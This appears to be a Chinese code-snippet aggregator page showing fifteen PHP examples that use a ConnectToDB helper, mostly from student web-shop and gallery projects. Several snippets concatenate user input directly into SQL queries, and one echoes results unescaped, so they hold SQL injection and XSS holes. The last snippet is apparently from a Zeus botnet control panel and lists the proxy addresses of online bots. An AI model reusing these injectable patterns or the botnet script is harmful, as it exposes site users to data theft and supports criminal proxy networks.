当前位置: 首页>>代码示例>>PHP>>正文


PHP ConnectToDB函数代码示例

本文整理汇总了PHP中ConnectToDB函数的典型用法代码示例。如果您正苦于以下问题:PHP ConnectToDB函数的具体用法?PHP ConnectToDB怎么用?PHP ConnectToDB使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了ConnectToDB函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: _removeCustomerCard

function _removeCustomerCard($id, $card_no)
{
    $dbh = ConnectToDB();
    $sql = "DELETE FROM cust_card WHERE id = ? AND card_number = ?";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($id, $card_no));
    return;
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:8,代码来源:credit.php

示例2: StartAccessToDB

function StartAccessToDB()
{
    global $db_AccessCounter;
    if ($db_AccessCounter == 0) {
        ConnectToDB();
    }
    $db_AccessCounter++;
}
开发者ID:amjadtbssm,项目名称:website,代码行数:8,代码来源:data_access.php

示例3: removeCookie

function removeCookie($user, $cookie)
{
    $cookie = grHash($cookie, $user);
    $today = new DateTime("now");
    //echo $cookie;
    $dbh = ConnectToDB();
    $stmt = $dbh->prepare("UPDATE active_users SET session_expiration=? WHERE email=? AND last_session_code=?");
    $stmt->execute(array(date("Y-m-d H:i:s", $today), $user, $cookie));
    //echo $user;
    //echo $cookie;
    return;
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:12,代码来源:utils.php

示例4: getClassesID

function getClassesID()
{
    $db = ConnectToDB();
    $sql = "SELECT * FROM class";
    $result = $db->query($sql);
    if ($result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            echo "<option value='" . $row['class_id'] . "'>" . $row['class_name'] . "</option>";
        }
    }
    $result->close();
    mysqli_close($db);
}
开发者ID:maozillah,项目名称:IXD-Student-Gallery,代码行数:13,代码来源:select_filters.php

示例5: getEmployeeUsername

function getEmployeeUsername()
{
    $employee_id = $_POST['employee_id'];
    $dbh = ConnectToDB();
    $sql = "SELECT * \n\t\t\tFROM login_info\n\t\t\tNATURAL JOIN employee\n\t\t\tWHERE id = ?\n\t";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($employee_id));
    while ($row = $stmt->fetch()) {
        $obj = array();
        $obj["username"] = $row['username'];
        $obj["work_dept"] = $row['work_dept'];
        $obj["salary"] = $row['salary'];
        echo json_encode($obj);
        return;
    }
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:16,代码来源:employee.php

示例6: _getReviews

function _getReviews($item_id)
{
    $dbh = ConnectToDB();
    $sql = "\n\t\tSELECT *\n\t\tFROM review\n\t\tWHERE item_id = ?\n\t\tORDER BY date DESC\n\t";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($item_id));
    $arr = array();
    while ($row = $stmt->fetch()) {
        $obj = array();
        $obj["date"] = $row["date"];
        $obj["rating"] = $row["rating"];
        $obj["comments"] = $row["text_comments"];
        $arr[] = $obj;
    }
    return $arr;
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:16,代码来源:reviews.php

示例7: _getMonthlySalesOrder

function _getMonthlySalesOrder($month, $year)
{
    $dbh = ConnectToDB();
    $sql = "\n\t\tSELECT date_of_purchase,order_id,customer_id,total_price\n\t\tFROM orders\n\t\tWHERE\n\t\tMONTH(date_of_purchase) = ?\n\t\tAND YEAR(date_of_purchase) = ?\n\t";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($month, $year));
    $arr = array();
    while ($row = $stmt->fetch()) {
        $obj = array();
        $obj["date"] = $row["date_of_purchase"];
        $obj["order_id"] = $row["order_id"];
        $obj["customer_id"] = $row["customer_id"];
        $obj["total"] = $row["total_price"];
        $arr[] = $obj;
    }
    return $arr;
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:17,代码来源:sales.php

示例8: _searchItems

function _searchItems($term_str, $order, $genre)
{
    $dbh = ConnectToDB();
    $sql = "\n\tSELECT item.*,avg_ratings.avg_rating \n\t\tFROM item\n\t\tLEFT JOIN (\n\t\t\tSELECT item_id,avg(rating) as avg_rating\n\t\t\tFROM review\n\t\t\tGROUP BY item_id\n\t\t) as avg_ratings\n\t\tON item.item_id = avg_ratings.item_id\n\tWHERE title LIKE '";
    $sql = $sql . $term_str . "' ";
    $sql = $sql . " AND genre LIKE '" . $genre . "' ";
    $arr = array();
    if ($order == 2) {
        $sql = $sql . " ORDER BY price ASC";
    } else {
        if ($order == 3) {
            $sql = $sql . " ORDER BY price DESC";
        } else {
            if ($order == 4) {
                $sql = $sql . " ORDER BY avg_rating DESC";
            } else {
                if ($order == 5) {
                    $sql = $sql . " ORDER BY avg_rating ASC";
                }
            }
        }
    }
    //echo $sql;
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($term_str));
    $arr = array();
    while ($row = $stmt->fetch()) {
        $obj = array();
        $obj["id"] = $row["item_id"];
        $obj["title"] = $row["title"];
        $obj["description"] = $row["description"];
        $obj["genre"] = $row["genre"];
        $obj["publisher"] = $row["publisher"];
        $obj["publish_month"] = $row["publication_month"];
        $obj["publish_year"] = $row["publication_year"];
        $obj["image_url"] = $row["image_url"];
        $obj["price"] = $row["price"];
        if (isset($row["avg_rating"])) {
            $obj["avg_rating"] = $row["avg_rating"];
        }
        $arr[] = $obj;
    }
    return json_encode($arr);
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:44,代码来源:items.php

示例9: insertProjects

function insertProjects()
{
    $db = ConnectToDB();
    $sql = "\r\nSELECT type_id FROM type WHERE type_title ='{$type}'\r\nUNION\r\nSELECT scope_id FROM scope WHERE scope_title='{$scope}';\r\n";
    $result = $db->query($sql);
    if ($result->num_rows > 0) {
        // output data of each row
        while ($row = $result->fetch_assoc()) {
            $scope_type[] = $row['type_id'];
        }
    }
    if ($result2->num_rows > 0) {
        // output data of each row
        while ($row = $result2->fetch_assoc()) {
            $id = $row['project_id'];
        }
    }
    $result->close();
    mysqli_close($db);
}
开发者ID:maozillah,项目名称:IXD-Student-Gallery,代码行数:20,代码来源:upload_project.inc.php

示例10: session_start

<?php

session_start();
if ($_SESSION['valid']) {
    if ($mysqli = ConnectToDB()) {
        $users = $mysqli->query(SelectElementsWhere("*", "id = " . $_SESSION['uid'] . "", "users"));
        if ($users->num_rows == 1) {
            $user = $users->fetch_assoc();
            $_SESSION['firstname'] = $user['firstname'];
        }
        $users->free();
    }
    if (CloseDBConnection($mysqli)) {
    }
} else {
    $_SESSION['firstname'] = "Guest";
}
开发者ID:KyleBerryCS,项目名称:Portfolio,代码行数:17,代码来源:session.php

示例11: ini_set

<?php

ini_set('display_errors', '1');
error_reporting(E_ALL);
require 'db.inc.php';
if (isset($_POST['search'])) {
    $q = $_POST['search'];
}
// echo 'displaying'. $q;
$directory = 'uploads/';
$db = ConnectToDB();
$sql = "SELECT project_name, project_description, img_url, project_id FROM project WHERE project_name REGEXP '{$q}' OR project_description REGEXP '{$q}';";
$result = $db->query($sql);
$c = 0;
// Our counter
$n = 3;
if ($result->num_rows > 0) {
    while ($row = $result->fetch_assoc()) {
        if ($c == 0) {
            echo '<div class="row">';
        }
        if ($c % $n == 0 && $c != 0) {
            // New table row
            echo '</div><div class="row">';
        }
        $c++;
        echo '<div class="col-md-4">';
        echo '<h2><a href="project.php?project=' . $row['project_id'] . '">' . $row['project_name'] . '</a></h2>';
        echo '<p>' . $row['project_description'] . '</p>';
        echo '<div class="thumbnail"><img src="' . $directory . $row['img_url'] . '" alt="" class="img-responsive"></div>';
        echo '</div>';
开发者ID:maozillah,项目名称:IXD-Student-Gallery,代码行数:31,代码来源:search.inc.php

示例12: _getCartItems

function _getCartItems($cart_id)
{
    $dbh = ConnectToDB();
    $sql = "\n\t\tSELECT item_id,title,price,quantity,price*quantity as item_total\n\t\tFROM item natural join items_in_cart\n\t\tWHERE cart_id = ?\n\t\tAND quantity > 0\n\t";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($cart_id));
    $arr = array();
    while ($row = $stmt->fetch()) {
        $obj = array();
        $obj["id"] = $row["item_id"];
        $obj["title"] = $row["title"];
        $obj["price"] = $row["price"];
        $obj["quantity"] = $row["quantity"];
        $obj["item_total"] = $row["item_total"];
        $arr[] = $obj;
    }
    return $arr;
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:18,代码来源:cart.php

示例13: _fillOrder

function _fillOrder($oid, $iid, $wid, $quant)
{
    print_r(array($oid, $iid, $wid, $quant));
    $dbh = ConnectToDB();
    $sql = "\n\t\tINSERT IGNORE INTO items_fulfilled(order_id,item_id,warehouse_id,quantity)\n\t\tVALUES(?,?,?,0);\n\t\t\n\t\tUPDATE items_fulfilled\n\t\tSET quantity=quantity+?\n\t\tWHERE order_id = ?\n\t\tAND item_id = ?\n\t\tAND warehouse_id = ?;\n\t\t\n\t\tUPDATE has_inventory\n\t\tSET quantity = quantity-?\n\t\tWHERE warehouse_id = ?\n\t\tAND item_id = ?;\n\t\t";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($oid, $iid, $wid, $quant, $oid, $iid, $wid, $quant, $wid, $iid));
    return 1;
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:9,代码来源:warehouse.php

示例14: _updatePersonalInfo

function _updatePersonalInfo($id, $fname, $mi, $lname, $phone, $email)
{
    $dbh = ConnectToDB();
    $sql = "REPLACE INTO customer(id,first_name,middle_initial,last_name,phone,email) VALUES(?,";
    $arr = array($id);
    // first name
    if (isset($fname) && $fname != "") {
        $arr[] = $fname;
        $sql = $sql . "?,";
    } else {
        $sql = $sql . "'',";
    }
    // middle initial
    if (isset($mi) && $mi != "") {
        $arr[] = $mi;
        $sql = $sql . "?,";
    } else {
        $sql = $sql . "'',";
    }
    // last name
    if (isset($lname) && $lname != "") {
        $arr[] = $lname;
        $sql = $sql . "?,";
    } else {
        $sql = $sql . "'',";
    }
    // phone
    if (isset($phone) && $phone != "") {
        $arr[] = $phone;
        $sql = $sql . "?,";
    } else {
        $sql = $sql . "'',";
    }
    // email
    if (isset($email) && $email != "") {
        $arr[] = $email;
        $sql = $sql . "?)";
    } else {
        $sql = $sql . "'')";
    }
    //echo $sql;
    //print_r($arr);
    $stmt = $dbh->prepare($sql);
    $stmt->execute($arr);
}
开发者ID:scott-m-sarsfield,项目名称:throne-of-games,代码行数:45,代码来源:users.php

示例15: define

<?php

/*
  Получение списка соксов, находящихся в онлайне.
  Файл должен быть выложен в корень панели управления.
*/
define('__CP__', 1);
require_once 'system/global.php';
if (!@(include_once 'system/config.php')) {
    die;
}
HTTPNoCacheHeaders();
HTTPU8PlainHeaders();
if (!ConnectToDB() || !($r = @mysql_query('SELECT bot_id, ipv4, port_s1 FROM botnet_list WHERE flag_nat=0 AND rtime_last>=' . (time() - BOTNET_TIMEOUT)))) {
    die('MySQL error: ' . mysql_error());
}
while ($m = mysql_fetch_row($r)) {
    echo "{$m[0]} {$m[1]}:{$m[2]}\r\n";
}
开发者ID:GadgetStrike,项目名称:Zeus,代码行数:19,代码来源:sockslist.php


注:本文中的ConnectToDB函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。